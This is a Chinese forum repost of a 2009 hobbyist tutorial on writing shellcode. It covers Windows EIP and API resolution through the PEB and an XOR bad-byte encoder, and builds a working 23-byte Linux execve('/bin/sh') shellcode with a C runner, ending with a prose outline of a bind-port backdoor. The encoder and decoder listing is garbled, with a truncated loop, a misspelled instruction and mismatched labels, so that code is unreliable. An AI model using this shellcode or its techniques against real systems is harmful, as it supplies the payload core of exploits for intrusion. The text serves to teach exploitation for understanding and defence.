主题 : 从头说起—浅谈Linux ShellCode
金秋果實豐 金風吹黃葉
级别: 七朵秋菊
UID: 33333
精华: 0
发帖: 7917
威望: 34658 点
无痕币: 605 WHB
贡献值: 0 点
在线时间: 3192(时)
注册时间: 2007-12-25
最后登录: 2022-08-05

0 从头说起—浅谈Linux ShellCode

Author: wangweinoo1[A.X.D]
EMail: wangweinoo1@gmail.com
Date: 2009.1.14
Note:本人首发于shudoo,后由原创作者提交至邪八,转载请注明

文章目录:
1.什么是ShellCode
2.Shellcode编写考虑因素
3.从Windows ShellCode说起
4.正题开始——Linux系统调用
5.第一个Linux ShellCode
6.绑定端口的shellcode
7.总结

一、什么是ShellCode
    让我们从一个经典的故事开始ShellCode之旅
    话说某天某爱国黑客编译了一个Nday溢出利用程序来攻击CNN,输入IP并且enter之后发现目标服务器没有反应,于是拿出sniffer抓包分析...“Oh ,my dog!居然没有带shellcode!”为什么 shellcode对于一个exploit来说这么重要呢?Shellcode到底是什么东西呢?
    简单的说,Shellcode是一段能够完成某种特定功能的二进制代码。具体完成什么任务是由攻击者决定的,可能是开启一个新的shell或者下载某个特定的程序也或者向攻击者返回一个shell等等。
    Shellcode是溢出程序和蠕虫病毒的核心,提到它自然就会和漏洞联想在一起,毕竟Shellcode只对没有打补丁的主机有用武之地。网络上数以万计带着漏洞顽强运行着的服务器给hacker和Vxer丰盛的晚餐。漏洞利用中最关键的是Shellcode的编写。由于漏洞发现者在漏洞发现之初并不会给出完整Shellcode,因此掌握Shellcode编写技术就显得尤为重要。
    因为shellcode将会直接操作寄存器和一些系统调用,所以对于shellcode的编写基本上是用高级语言编写一段程序然后编译,反汇编从而得到16进制的操作码,当然也可以直接写汇编然后从二进制文件中提取出16进制的操作码。
    接下来就一起来解开shellcode的神秘面纱吧~

二、Shellcode编写考虑因素
    Shellcode一般作为数据发送给服务端造成溢出,不同数据对数据要求不同,因此,Shellcode也不一定相同。但Shellcode在编写过程中,有些问题是一致的:
    1.Shellcode的编写语言
    用什么语言编写最适合Shellcode呢?这个问题没有定论。Shellcode本质上可以使用任何编程语言,但我们需要的是提取其中的机器码。Shellcode使用汇编语言编写是最具可控性的,因为我们完全可以通过指令控制代码生成,缺点就是需要大量的时间,而且还要你深入了解汇编。如果你想追求速度,C是不错的选择。C语言编写起来较为省力,但Shellcode提取较为复杂,不过,一旦写好模板,就省事许多。例如,这里有一个写好的模板:复制内容到剪贴板代码:
        void Shellcode()
       {
           __asm
       {
           nop
           nop
           nop
           nop
           nop
           nop
           nop
           nop
        }
        }然后在main()中用函数指针操作和memcmp定位shellcode,用pintf之类函数将shellcode打出来或保存即可。示例代码我就不写了。纵观当前shellcode,大部分是由C完成的,因此,想来大家已经取舍完了吧?
    2.Shellcode本身代码的重定位。Shellcode的流程控制,即如何通过溢出使控制权落在Shellcode手中
    3.Shellcode中使用的API地址定位。
    4.Shellcode编码问题。
    5.多态技术躲避IDS检测。
    这些问题我将在后面几章与大家探讨


三、从Windows ShellCode说起
    在本章,我将和大家谈谈关于程序EIP的获取、API的地址定位、ShellCode编码
    1.Shellcode代码地址定位,获取程序EIP
     为什么要获取EIP呢?原因是,我们需要我们的Shellcode能够执行,对病毒技术有了解的话,应该知道他们是怎么
定位的:利用CALL/POP来实现。 这里就不得不提到两种方法:JMP ESP和CALL/POP EBX。这是人们在对windows熟悉之后的方法,成功率非常高。(感谢各位逆向大牛。。。)我们的方法时通过Shellcode地址覆盖返回地址,在溢出后即可跳转到我们的代码中,以获取权限。而Shellcode
在内存中的地址并不固定,因此我们利用系统的DLL文件中的JMP ESP或CALL ESP、CALL EBP来实现对Shellcode地址
的间接跳转。这样有两个好处,一是不必准确定位Shellcode地址;二是可以防止strcpy对00字节的截断,因为DLL文
件中,地址一般为7FXXXXXX。具体细节,限于篇幅,就不在这里赘述了,大家可以baidu一下。
    2.Shellcode中的API地址定位
    Shellcode代码的运行环境和病毒在某些方面是类似的,由于系统不同,Api的地址也不尽相同。因此,要想让
Shellcode在不同Windows下运行就必须解决Api的定位问题。API定位的关键是了解Windows DLL映像文件格式,即PE
文件格式,然后通过搜索函数的Export表获取API地址。定位方法有暴力搜索法、从进程PEB中获取和遍历SEH链法。我
们这里使用从进程PEB中获取,示例代码如下:复制内容到剪贴板代码:
__asm
{
push ebp;
sub esp, 0x40;
mov ebp,esp;

push ebp;
mov eax, fs:0x30 ;PEB
mov eax, [eax + 0x0c] ;Ldr
mov esi, [eax + 0x1c] ;Flink
lodsd
mov edi, [eax + 0x08] ;edi就是kernel32.dll的地址

mov eax, [edi+3Ch] ;eax = PE首部
mov edx,[edi+eax+78h]
add edx,edi ;edx = 输出表地址
mov ecx,[edx+18h] ;ecx = 输出函数的个数
mov ebx,[edx+20h]
add ebx,edi ;ebx =函数名地址,AddressOfName
search:
dec ecx
mov esi,[ebx+ecx*4]
add esi,edi ;依次找每个函数名称
;GetProcAddress
mov eax,0x50746547
cmp [esi], eax; 'PteG'
jne search
mov eax,0x41636f72
cmp [esi+4],eax; 'Acor'
jne search

;如果是GetProcA,表示找到了
mov ebx,[edx+24h]
add ebx,edi ;ebx = 索引号地址,AddressOf
mov cx,[ebx+ecx*2] ;ecx = 计算出的索引号值
mov ebx,[edx+1Ch]
add ebx,edi ;ebx = 函数地址的起始位置,AddressOfFunction
mov eax,[ebx+ecx*4]
add eax,edi ;利用索引值,计算出GetProcAddress的地址


mov [ebp+40h], eax ;把GetProcAddress的地址存在 ebp+40中接下来是使用GetProcAddress()和LoadLibraryA()获取其他需要函数了,和C没什么两样,略过了吧,细节才是最麻烦的。。。。
    3.Shellcode的编码问题
    这是让俺们这些菜菜写ShellCode最头疼的东西了。。。例如:strcpy函数中不能有0x00,RPC DOCM溢出时不能用0x5c等等。因为假如有这些字符,会导致服务中断Shellcode,溢出失败。不同溢出对shellcode要求不同,当然需要精选字符来达到目的,这样太累了些,简单点就是写一段代码,示例如下:复制内容到剪贴板代码:
for(i=0;i ch=sc_buff^Enc_key;
//对可能字符进行替换
if(ch<=0x1f||ch==' '||ch=='.'||ch=='/'||ch=='\\'||ch=='0'||ch=='?'||ch=='%'||ch=='+')
{
buff='0';
++k;
ch+=0x31;
}
//将编码Code放在DecryptSc后
buff[k]=ch;
++k;
}
解码时代码 解码时代码,示例如下:
jmp next
getEncodeAddr:
pop edi
push edi
pop esi
xor ecx,ecx
Decrypt_lop:
loasb
cmp al,cl
jz shell
cmp al,0x30 //判断是否为特殊字符
jz specal_char_clean
store:
xor al,Enc_key
stosb
jmp Decrypt_lop
special_char_clean:
lodsb
sub al,0x31
jmp store
next:
call getEncodeAddr这里只给了一个简单的例子,面对对Unicode编码有要求的,限于篇幅,这里就不详解了
    原本不想把Windows shell写这么多的,写写就写多了,唉,果然没有什么经验。本章最后再说一点RP问题。ShellCode写起来会很辛苦,够俺这种菜菜一个code得写N天天。。。但写罢,你就会知道成就感是什么了。。。^_^另外这里不是教你做EXP去害人,只是从研究角度出发,让大家了解这种技术,从而加以防范,为网络和平安宁奉献自己的力量。

四、正题开始——Linux系统调用
    为什么编写shellcode需要了解系统调用呢?因为系统调用是 用户态和内核态之间的一座桥梁。大多数操作系统都提供了很多应用程序可以访问到的核心函数,shellcode当然也需要调用这些 核心函数。Linux系统提供的核心函数可以方便的实现用来访问文件,执行命令,网络通信等等功能。这些函数就被成为系统调用(System Call)。
    想知道系统上到底有哪些系统调用可以用,直接查看内核代码即可得到。Linux的系统调用在以下文件中定义:/usr/include/asm-i386 /unistd.h,该文件包含了系统中每个可用的系统调用的定义,内容大概如下:复制内容到剪贴板代码:
#ifndef _ASM_I386_UNISTD_H_
#define _ASM_I386_UNISTD_H_

/*
* This file contains the system call numbers.
*/

#define __NR_restart_syscall 0
#define __NR_exit 1
#define __NR_fork 2
#define __NR_read 3
#define __NR_write 4
#define __NR_open 5
#define __NR_close 6
#define __NR_waitpid 7
#define __NR_creat 8
#define __NR_link 9
#define __NR_unlink 10
#define __NR_execve 11
#define __NR_chdir 12
#define __NR_time 13
#define __NR_mknod 14
#define __NR_chmod 15
....
....
....每个系统调用都有一个名称和相对应的系统调用号组成,由于该文件很长就不一一列出了。知道了linux系统调用是什么样子,下面就来了解下如何使用这些系统调用。启动一个系统调用需要使用int指令,linux系统调用位于中断0x80。当执行一个int 0x80指令后,发出一个软中断,强制内核停止当前工作来处理中断。内核首先检查传入参数的正确性,然后将下面寄存器的值复制到内核的内存空间,接下来参照中断描述符表(IDT)来处理中断。系统调用完成以后,继续执行int指令后的下一条指令。
    系统调用号是确定一个系统调用的关键数字,在执行int指令之前,它应当被传入EAX寄存器中,确定了一个系统调用号之后就要考虑给该系统调用传递什么参数来完成什么样的功能。存放参数的寄存器有5个,他们是EBX,ECX,EDX,ESI和EDI,这五个寄存器顺序的存放传入的系统调用参数。需要超过6个输入参数的系统调用使用不同的方法把参数传递给系统调用。EBX寄存器用于保护指向输入参数的内存位置的指针,输入参数按照连续的顺序存储。系统调用使用这个指针访问内存位置以便读取参数。
    为了更好的说明一个系统调用的使用全过程,我们来看一个例子,这个例子中调用了write系统调用来将hello,syscall写入到终端,并最终调用exit系统调用安全退出。
代码如下:复制内容到剪贴板代码:
.section .data
output:
.ascii "hello,syscall!!!!\n"
output_end:
.equ len,output_end - output
.section .text
.globl _start
_start:
movl $4,%eax #define __NR_write 4
movl $1,%ebx
movl $output,%ecx
movl $len,%edx
int $0x80
movl $1,%eax
movl $0,%ebx
int $0x80 编译该程序,并查看运行结果:
as -o syscall.o syscall.s
ld -o syscall syscall.o
./syscall
hello,syscall!!!!
可以看到hello,syscall被写入到终端。那么这个过程是怎么实现的呢?首先程序定义了一个字符串hello,syscall!!!!和字符串的长度len,接下来将write系统调用号写入到eax寄存器中,接着write系统调用的第一个参数需要一个文件描述符fd,linux包含3种文件描述符0[STDIN]:终端设备的标准输入;1[STDOUT]:终端设备的标准输出;2[STDERR]:终端设备的标准错误输出。我们这里把fd的值设置为1,就是输入到屏幕上,因此把操作数1赋值给EBX寄存器。write系统调用的第二个参数是要写入字符串的指针,这里需要一个内存地址,因此我们通过movl $output,%ecx把output指向的实际内存地址存放在 ECX寄存器中。write系统调用的第三个参数是写入字符串的长度,按照顺序的参数传递方式,我们把len传递到EDX寄存器中,接着执行int $0x80软中断来执行write系统调用。下一步执行了一个exit(0) 操作,将exit系统调用号1传递给EAX寄存器,将参数0传递给EBX寄存器,然后执行int $0x80来执行系统调用,实现程序的退出。
    为了更清晰的验证我们的系统调用确实被执行了,可以通过strace来查看二进制代码的运行情况,结果如下:
strace ./syscall
execve("./syscall", ["./syscall"], [/* 34 vars */]) = 0
write(1, "hello,syscall!!!!\n", 18hello,syscall!!!!
)     = 18
_exit(0)    
通过返回的结果我们可以清楚的看到刚才syscall程序都执行了哪些系统调用,以及每个系统调用都传递了什么参数进去。
    已经了解了系统调用的实现过程,让我们离shellcode更进一步吧。
五、第一个Linux ShellCode
    最初当shellcode这个名词来临的时候,目的只是获得一个新的shell,在那时已经是一件很美妙的事情,接下来我们就来实现如何获得一个新的shell来完成我们第一个shellcode的编写。这里需要注意的一个基本的关键的地方就是在shellcode中不能出现/x00也就是NULL字符,当出现NULL字符的时候将会导致shellcode被截断,从而无法完成其应有的功能,这确实是一个让人头疼的问题。那么有什么解决办法呢?我们先来抽取上个例子syscall中的16进制机器码来看看有没有出现/x00截断符:
objdump -d ./syscall

./syscall:     file format elf32-i386

Disassembly of section .text:

08048074 <_start>:
8048074:       b8 04 00 00 00          mov    $0x4,%eax
8048079:       bb 01 00 00 00          mov    $0x1,%ebx
804807e:       b9 98 90 04 08          mov    $0x8049098,%ecx
8048083:       ba 12 00 00 00          mov    $0x12,%edx
8048088:       cd 80                   int    $0x80
804808a:       b8 01 00 00 00          mov    $0x1,%eax
804808f:       bb 00 00 00 00          mov    $0x0,%ebx
8048094:       cd 80                   int    $0x80

噢!!!这个SB的程序在
8048074:       b8 04 00 00 00          mov    $0x4,%eax
这里就已经被00截断了,完全不能用于shellcode,只能作为一般的汇编程序运行。现在来分析下为什么会出现这种情况。现看这两段代码:
        movl $4,%eax
        movl $1,%ebx
这两条指令使用的是32位(4字节)的寄存器EAX和EBX,而我们却只分别赋值了1个字节到寄存器中,所以系统会用NULL字符(00)来填充剩下的字节空间,从而导致shellcode被截断。知道了原因就可以找到很好的解决方法了,一个EAX寄存器是32位,32位寄存器也可以通过16位或者8位的名称引用,我们通过AX寄存器来访问第一个16位的区域(低16位),继续通过对AL的引用EAX寄存器的低8位被使用,AH使用AL后的高8位。
EAX寄存器的构成如下:
EAX寄存器
31                            15            7            0
    AH
AL
AX
在syscall的例子中操作数$4和$1二进制都只占8位,所以只需要把这两个操作数赋值给AL就可以了,这样就避免了使用EAX寄存器时,系统用NULL填充其他空间。
我们来修改一下代码看看,把
        movl $4,%eax
        movl $1,%ebx
改为
        mov $4,%al
        mov $1,%bl
再重新编译连接syscall程序,并且查看一下objdump的结果:
./syscall
hello,syscall!!!!
objdump -d ./syscall

./syscall:     file format elf32-i386

Disassembly of section .text:

08048074 <_start>:
8048074:       b0 04                   mov    $0x4,%al
8048076:       b3 01                   mov    $0x1,%bl
8048078:       b9 90 90 04 08          mov    $0x8049090,%ecx
804807d:       ba 12 00 00 00          mov    $0x12,%edx
8048082:       cd 80                   int    $0x80
8048084:       b8 01 00 00 00          mov    $0x1,%eax
8048089:       bb 00 00 00 00          mov    $0x0,%ebx
804808e:       cd 80                   int    $0x80

看到了,已经成功的把 NULL字符给去掉了,同理可以把下面语句都改写一遍,这样就可以使这个程序作为shellcode运行了。
下面我们就来编写第一个有实际意义的shellcode,它将打开一个新的shell。当然,这在本地是没有什么意义,可是当它作为一个远程溢出在目标机器上打开shell的时候,那作用可就不能小视了。打开一个新的shell我们需要用到execve系统调用,先来看看man手册里是怎么定义这个函数的:
NAME
       execve - execute program

SYNOPSIS
       #include <unistd.h>

       int execve(const char *filename, char *const argv[],
                  char *const envp[]);
可以看到execve系统调用需要3个参数,为了说明怎么使用先来写一个简单的C程序来调用execve函数:
#include <stdio.h>
int main()
{
        char *sc[2];
        sc[0]="/bin/sh";
        sc[1]=  NULL;
        execve(sc[0],sc,NULL);
}
通过execve执行一个/bin/sh从而获得一个新的shell,编译来看下结果:
gcc -o newshell newshell.c
./newshell
$ exit

新shell已经成功的诞生了!!
为了编写execve的shellcode我们用汇编实现一下以上C程序的功能,代码如下:
.section .text
.globl _start
_start:
        xorl %eax,%eax
        pushl %eax
        pushl $0x68732f6e
        pushl $0x69622f2f
        movl %esp,%ebx
        pushl %eax
        pushl %ebx
        movl %esp,%ecx
        movb $0xb,%al
        int $0x80
来解释一下这段代码,首先为了避免mov赋值带来的00,用一个异或操作来把EAX寄存器清空
xorl %eax,%eax
接着将4字节的NULL压栈
pushl %eax
将/bin//sh压栈,保持对齐,第一个参数
pushl $0x68732f6e
pushl $0x69622f2f
将/bin//sh存放到EBX寄存器,第2个参数
movl %esp,%ebx
压4字节的NULL,第3个参数,环境变量为 NULL
pushl %eax
将EBX压栈
pushl %ebx
把EBX地址存入ECX寄存器
movl %esp,%ecx
将execve系统调用号11(0xb)压入AL寄存器,消00
movb $0xb,%al
调用int指令进入中断
int $0x80
OK,现在来测试一下这个程序是否能给我们带来一个新的shell
as -o exec.o exec.s
ld -o exec exec.o
./exec
$ exit

HOHO~~成功执行了!!接着来提取16进制机器码
objdump -d ./exec

./exec:     file format elf32-i386

Disassembly of section .text:

08048054 <_start>:
8048054:       31 c0                   xor    %eax,%eax
8048056:       50                      push   %eax
8048057:       68 6e 2f 73 68          push   $0x68732f6e
804805c:       68 2f 2f 62 69          push   $0x69622f2f
8048061:       89 e3                   mov    %esp,%ebx
8048063:       50                      push   %eax
8048064:       53                      push   %ebx
8048065:       89 e1                   mov    %esp,%ecx
8048067:       b0 0b                   mov    $0xb,%al
8048069:       cd 80                   int    $0x80

放到一个C程序中来完成整个shellcode的编写测试吧
/*
*linux/x86 execve("/bin//sh/",["/bin//sh"],NULL) shellcode 23bytes
*/
objdump -d exec

exec:     file format elf32-i386

Disassembly of section .text:

08048054 <_start>:
8048054:       31 c0                   xor    %eax,%eax
8048056:       50                      push   %eax
8048057:       68 6e 2f 73 68          push   $0x68732f6e
804805c:       68 2f 2f 62 69          push   $0x69622f2f
8048061:       89 e3                   mov    %esp,%ebx
8048063:       50                      push   %eax
8048064:       53                      push   %ebx
8048065:       89 e1                   mov    %esp,%ecx
8048067:       b0 0b                   mov    $0xb,%al
8048069:       cd 80                   int    $0x80


char sc[] =
    "\x31\xc0"
    "\x50"
    "\x68\x6e\x2f\x73\x68"
    "\x68\x2f\x2f\x62\x69"
    "\x89\xe3"
    "\x50"
    "\x53"
    "\x89\xe1"
    "\xb0\x0b"
    "\xcd\x80"
;
int main()
{
       void    (*fp)(void) = (void (*)(void))sc;

       printf("Length: %d\n",strlen(sc));
       fp();
}
gcc -o execve execve.c
./execve
Length: 23
exit

成功了!我们编写了第一个linux下的shellcode,并且能顺利工作了(俺本人也很兴奋)。下章说下功能更全的个shell

六、绑定端口的shellcode
    根据上一节所说的,本地打开一个新的shell在面对远程目标时就不是那么有用了,这时我们需要在远程目标上打开一个可交互的shell,这样对我们更有帮助,等于直接获得了一个进入远程系统的后门,这就是端口绑定shellcode。写到这里就需要一些网络编程的知识了,这里不再详细讲解如何进行网络编程,只是大概说一下一个bindshell后门程序的编写过程:
首先要建立一个socket
server=socket(2,1,0)
建立一个sockaddr_in结构,包含IP和端口信息将端口和IP邦定到socketbind()
打开端口监听该socket
listen()
当有连接时向客户端返回一个句柄
accept()
将返回的句柄复制到STDIN,STDOUT,STDERR
dup2()
调用execve执行/bin/sh
似乎很复杂,大家多看点code就明白了
我的水平一般,不敢自己写,大家自己baid吧

七、总结
到了后边忘排版了,sorry~~。。。
俺的目前最长科普完成,越写越不想写,结果也写得越差,唉。。。
大家勉强看吧,谢谢大家

参考书目、文章
《缓冲区溢出教程》 by 王炜
《Windows平台内核级文件访问》 by baiyuanfan
《Exploit,shellcode经验技巧杂谈》 by OYXin
《shellcode技术杂谈》 by 未知
《Linux下地shellcode书写》 by aleph1 translater:scz
《Liunx Shellcode》 by 旋木木
这是能记起来的
感谢以上作者、译者
秂生完整在于學繪勇敢麵對人生悲劇而繼續活下去
Total 0.049231(s) query 3, Time now is:05-02 08:16, Gzip enabled 粤ICP备07514325号-1
Powered by PHPWind v7.3.2 Certificate Code © 2003-13 秋无痕论坛